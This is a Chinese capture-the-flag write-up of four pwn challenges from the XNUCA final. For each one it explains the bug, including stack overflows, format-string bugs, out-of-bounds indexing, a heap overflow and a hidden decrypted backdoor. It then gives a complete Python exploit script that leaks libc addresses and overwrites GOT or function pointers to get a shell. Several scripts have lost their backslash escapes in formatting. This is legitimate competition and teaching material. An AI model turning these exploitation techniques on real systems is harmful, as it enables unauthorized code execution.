作者:FlappyPig
预估稿费:300RMB(不服你也来投稿啊!)
投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿
前言
上周参加了xnuca final的决赛(官网链接:http://xnuca.erangelab.com/),做了几个pwn题,整理如下。
1. heap overflow?
这是个人赛的第一个pwn题,题目说明如下:
漏洞:
分析程序,最开始感觉可能是一个堆的问题,不过最后发现一个明显的栈溢出。
利用:
因为是简单栈溢出,利用方式比较简单,首先通过puts函数泄露出一个got中的函数地址,得到lib库的加载地址,然后返回到main,再次触发栈溢出。第二次栈溢出直接执行system("/bin/sh")
from threading import Thread
from zio import *
target = './pwn_zy'
def add(io, name, password, level, secret):
io.read_until('option:')
io.writeline('1')
io.read_until(':')
io.writeline(name)
io.read_until(':')
io.writeline(password)
io.read_until(':')
io.writeline(str(level))
io.read_until(':')
io.writeline(secret)
def edit(io, name, password, level, secret, payload):
io.read_until('option:')
io.writeline('4')
io.read_until(':')
io.writeline(name)
io.read_until(':')
io.writeline(password)
io.read_until(':')
io.writeline(str(level))
io.read_until(':')
io.writeline(secret)
io.read_until('y/n')
io.writeline(payload)
def exp(target):
io = zio(target, timeout=10000, print_read=COLORED(RAW, 'red'),
print_write=COLORED(RAW, 'green'))
puts_plt = 0x080484F0
puts_got = 0x0804B020
main= 0x08048A8F
payload = 'a'*(0x7a+4) + l32(puts_plt) + l32(main) + l32(puts_got)
add(io, '123', '456', 1, '789')
edit(io, '123', '456', 1, '789', payload)
io.read_until('recorded!n')
puts = l32(io.read(4))
#remote
base = puts - 0x0005F140
system = base + 0x0003A940
binsh = base + 0x00158E8B
payload = 'a'*(0x7a+4) + l32(system) + l32(main) + l32(binsh)
add(io, '123', '456', 1, '789')
edit(io, '123', '456', 1, '789', payload)
io.interact()
exp(target)
2. ai
这是个人赛的第2个pwn,题目说明如下
漏洞:
也比较明显,scanf处存在栈溢出
利用:
这里有栈canary保护,所以不能覆盖到返回值。但是可以覆盖局部变量i、j、k等值。当覆盖j之后,可以通过函数指针 (*(&patterns + j))改变程序的执行流程,同时可以控制第一个参数和第二个参数.如果控制得当,可以多次执行到该函数指针。
利用思路如下:
1. printf(scanf_got)泄露出scanf_got,得到libc加载地址。
2. scanf("%s", 0x601f00) 将system的地址写入到0x601f00中。
3. system("sh")
from zio import *
target = './ai'
def exp(target):
io = zio(target, timeout=10000, print_read=COLORED(RAW, 'red'),
print_write=COLORED(RAW, 'green'))
scanf_got = 0x601048
sss = 0x0000000000400AF3 #%s
sh = 0x4003d7 #sh
payload = ']'+str(scanf_got)+' # 1 = 2 ;'
payload2 = ']'+str(sss)+' # '+str(0x601f00)+' = 0 ;'
payload3 = ']'+str(sh)+' # 1 = 2 ;'
for i in range(10):
if i == 1:
io.writeline(payload2)
elif i == 2:
io.writeline(payload3)
else:
io.writeline(payload)
payload = '1234'+'1234'+l32(0xfffffffff)+l32(0xfffffff4)
io.writeline(payload)
io.read_until('875770417')
print_addr = l64(io.read(6)+'x00x00')
base = print_addr - 0x000000000006A790
system = base + 0x0000000000045380
exp(target)
3. ww
这是团体赛的一个pwn,存在多个漏洞。
格式化:
在execute shell功能中存在格式化漏洞。
利用比较简单
from zio import *
target = './ww'
def add(io, length, cmd):
io.read_until('Exitn')
io.writeline('1')
io.read_until(':')
io.writeline(str(length))
io.read_until(':')
io.writeline(cmd)
def execute(io, id):
io.read_until('Exitn')
io.writeline('3')
io.read_until(':')
io.writeline(id)
def exp(target):
io = zio(target, timeout=10000, print_read=COLORED(RAW, 'red'),
print_write=COLORED(RAW, 'green'))
io.gdb_hint()
malloc_got = 0x0000000000603068
add(io, 100, '%11$s')
payload = '0;'
payload = payload.ljust(8, 'a')
payload += l64(malloc_got)+'b'*8
execute(io, payload)
io.read_until('excute 0n')
malloc_addr = l64(io.read_until('Wel')[:-3].ljust(8, 'x00'))
base = malloc_addr-0x0000000000083580
system = base + 0x0000000000045390
strtol_got = 0x0000000000603050
system_high = (system>>16)&0xffff
system_low = system&0xffff
if system_high > system_low:
formst = '%%%dc%%11$hn%%%dc%%12$hn' %(system_low, system_high-system_low)
else:
formst = '%%%dc%%12$hn%%%dc%%11$hn' %(system_high, system_low-system_high)
add(io, 100, formst)
payload = '1;'
payload = payload.ljust(8, 'a')
payload += l64(strtol_got)+l64(strtol_got+2)
execute(io, payload)
io.read_until('Exit')
io.writeline('2')
io.writeline('sh;')
io.interact()
exp(target)
id越界:
在edit和delete功能时,虽然检查了id的值,但是无效时,只是打印了invalid id,并没有退出或者返回,仍然可以越界读或者越界写。
利用的话需要找到二级指针,最后在程序的代码段中找到了两个满足条件的。
通过这两个二级指针,可以泄露和修改strtol和malloc__usable_size的got。
from zio import *
target = './ww'
def add(io, length, cmd):
io.read_until('Exitn')
io.writeline('1')
io.read_until(':')
io.writeline(str(length))
io.read_until(':')
io.writeline(cmd)
def execute(io, id):
io.read_until('Exitn')
io.writeline('3')
io.read_until(':')
io.writeline(id)
def edit(io, id, cmd):
io.read_until('Exitn')
io.writeline('5')
io.read_until(')')
io.writeline(id)
io.read_until(':')
io.writeline(cmd)
def delete(io, id):
io.read_until('Exitn')
io.writeline('2')
io.read_until(')')
io.writeline(id)
io.read_until('content:n')
return l64(io.readline()[:-1].ljust(8, 'x00'))
def exp(target):
io = zio(target, timeout=10000, print_read=COLORED(RAW, 'red'),
print_write=COLORED(RAW, 'green'))
io.gdb_hint()
malloc_got = 0x0000000000603068
add(io, 100, '%11$s')
malloc_size = delete(io, '-131752')
print hex(malloc_size)
base = malloc_size - 0x00000000000844C0
system = base + 0x0000000000045390
print hex(base)
edit(io, '-131746', l64(system))
io.read_until('Exit')
io.writeline('2')
io.writeline('sh;')
io.interact()
exp(target)
堆溢出:
在read_buff中,length为int,当length=0时,可以无限读入。
所以只要在new时指定长度为0,在edit时,就可以无限覆盖了。
因为这题没有free,利用的思路与hitcon 2016的一个题目类似.
参考链接 [CTF Pwn之创造奇迹的Top Chunk]
隐藏pwn:
这题最有意思的是还隐藏了一个功能。
为了找到这个隐藏的功能,我使用qira查看运行的所有指令,发现刚连接上没有进行任何交互,就运行了12万多条指令。但qira只会记录主模块中的指令,显然不会这么多。最后发现程序运行到.eh_frame节中,同时发现是从0x4007db跳转过去的。发现是对puts_plt做了修改,而这种修改在ida中不太可能看出来。
后面就是分析.eh_frame中的函数的功能。
简单的通过分析汇编,发现是进行了一个比较,如果比较成功,就会调用mprotect的系统调用修改页的属性,对代码进行解密。不过前面比较部分的算法通过汇编阅读有点吃力,因此想办法进行修复,使ida能够成功反编译。
地址0x402A63处是一个push rbp,感觉是一个函数的开始地址。根据堆栈平衡,找到了pop rbp,按理pop rbp之后应该是一个ret指令,因此这里进行patch,将pop rax修改为ret。然后在402A63处创建function,之后就能正常f5了。
进行简单修正之后得到如下反编译代码
写了个脚本求解了一下,发现只有puts打印的字符串为THESEVIOLENTDELIGHTSHAVEVIOLENTENDS程序能满足这个比较。
base_str = 'HOOKEDBYYSYY'*3
cmp_str = 'AVSCIYJMJWLRKSZSKKUQFSTCCWCVIQUCLVQ'
d = {}
for i in range(26):
for j in range(26):
d[i*26+j] = (i+j)%26+65
flag = ''
for k in range(len(cmp_str)):
hang = ord(base_str[k]) - 65
for m in range(26):
if d[hang*26+m] == ord(cmp_str[k]):
flag += chr(m + 65)
print flag
在满足比较之后,程序会对0x401031处的2860个字节进行异或解密,然后跳转到401934。
在gdb中dump下解密后的0x401031处的数据,替换掉原来的之后,用ida打开,看到了隐藏的功能。
隐藏功能为生成一个迷宫,然后如果走出迷宫,就能进入到401658函数中,401658函数中存在后门和栈溢出。
from zio import *
def add(io, length, cmd):
io.read_until('Exitn')
io.writeline('1')
io.read_until(':')
io.writeline(str(length))
io.read_until(':')
io.writeline(cmd)
def delete(io, id):
io.read_until('Exitn')
io.writeline('2')
io.read_until(')')
io.writeline(str(id))
finalmg=[]
def dfs(x,y,mg):
global finalmg
if x==0 and y==1:
print "ok"
finalmg=mg
return 1
if x-1>=0 and mg[x-1][y]==".":
mg[x][y]="^"
if dfs(x-1,y,mg):
return 1
mg[x][y]="."
if x+1<=42 and mg[x+1][y]==".":
mg[x][y]="v"
if dfs(x+1,y,mg):
return 1
mg[x][y]="."
if y-1>=0 and mg[x][y-1]==".":
mg[x][y]="<"
if dfs(x,y-1,mg):
return 1
mg[x][y]="."
if y+1<=42 and mg[x][y+1]==".":
mg[x][y]=">"
if dfs(x,y+1,mg):
return 1
mg[x][y]="."
return 0
def solve_mg(mg):
global finalmg
finalmg=[]
dfs(42,41,mg)
for l in finalmg:
print "".join(l)
s=""
for l in finalmg:
for i in l:
if i in "><^v":
s+="x02"
else:
s+="x01"
s=s[0]+"x02"+s[2:]
print s.encode("hex")
return s
def exp(target):
io = zio(target, timeout=10000, print_read=COLORED(RAW, 'red'),
print_write=COLORED(RAW, 'green'))
add(io, 123, 'THESEVIOLENTDELIGHTSHAVEVIOLENTENDS')
delete(io, 0)
io.read_until('back...n')
d = io.read(0x2b*0x2b).encode('hex')
mg=[]
for i in range(0x2b):
line=d[0x2b*2*i:0x2b*2*(i+1)]
print line
l=[]
for j in range(0,len(line),2):
if line[j:j+2]=="01":
l.append("#")
else:
l.append(".")
mg.append(l)
s=solve_mg(mg)
print repr(s)
io.write(s)
io.read_until('Dolores')
io.writeline('I'm in a dream.')
io.read_until('Do')
io.writeline('It was you...talking to me...guiding me.So I followed you.At last,I arrived here.')
io.interact()
target = './ww'
exp(target)
4. wow
程序逻辑较为复杂,主要用到了几个定义的结构题,最后还原得结构体大致如下:
漏洞:
在wolf的虚表中存在一个函数存在格式化漏洞。
经过分析,发现当己方的wolf打败了对方的怪兽后,就会执行到这个格式化漏洞函数。
手动玩了会游戏,能够至少进行3次格式化。因此格式化的name字符串长度有限,基本只能同时更改两个2字节,一共4字节。
所以第一个格式化,进行信息泄露。
后面两个进行改写,将一个指针修改为call_execve的函数地址。
因为got不可改写,所以选择修改的指针为exit_game的函数指针,位于主程序的0x208170地址处。
完整的利用脚本如下:
import operator
from zio import *
target = './wow'
def newwarrior(io, type, name):
io.read_until('$')
io.writeline('newwarrior')
io.writeline(str(type))
io.writeline(name)
def advance(io):
io.read_until('$')
io.writeline('advance')
def attack(io):
io.read_until('$')
io.writeline('attack')
def attack2(io, payload):
io.read_until('$')
io.writeline(payload)
def exp(target):
io = zio(target, timeout=10000, print_read=COLORED(RAW, 'red'),
print_write=COLORED(RAW, 'green'))
newwarrior(io, 4, '***%49$p***%11$p***%10$p***')
for i in range(4):
advance(io)
attack(io)
io.gdb_hint()
attack(io)
io.read_until('***')
libc_base = int(io.read_until('***')[:-3], 16) - 0x0000000000020830
main_base = int(io.read_until('***')[:-3], 16) - 0x2069
stack = int(io.read_until('***')[:-3], 16)
io.writeline('lalala')
call_execve = 0x000000000004526A + libc_base
exit_fun = main_base + 0x0000000000208170
write = {}
write[0] = (call_execve >> 16) & 0xffff
write[1] = call_execve&0xffff
#write[2] = system_hh
printed = 0
payload = ''
for where, what in sorted(write.items(), key=operator.itemgetter(1)):
delta = (what - printed) & 0xffff
if delta > 0:
if delta < 8:
payload += 'A' * delta
else:
payload += '%' + str(delta) + 'x'
payload += '%' + str(43 + where) + '$hn'
printed += delta
newwarrior(io, 4, payload)
for i in range(2):
advance(io)
for i in range(4):
attack(io)
write = {}
write[0] = (call_execve>> 32) & 0xffff
printed = 0
payload = ''
for where, what in sorted(write.items(), key=operator.itemgetter(1)):
delta = (what - printed) & 0xffff
if delta > 0:
if delta < 8:
payload += 'A' * delta
else:
payload += '%' + str(delta) + 'x'
payload += '%' + str(43 + where) + '$hn'
printed += delta
newwarrior(io, 4, payload)
for i in range(3):
advance(io)
attack(io)
payload = 'attackx00x00'+l64(exit_fun)+l64(exit_fun+2)
io.gdb_hint()
attack2(io, payload)
io.writeline('lalal')
advance(io)
advance(io)
advance(io)
newwarrior(io, 4, 'lll')
advance(io)
for i in range(2):
attack(io)
payload = 'attackx00x00'+l64(exit_fun+4)
attack2(io, payload)
io.read_until('your blue enemy')
io.writeline('sh')
io.read_until('$')
io.writeline('exit')
io.interact()
exp(target)

评论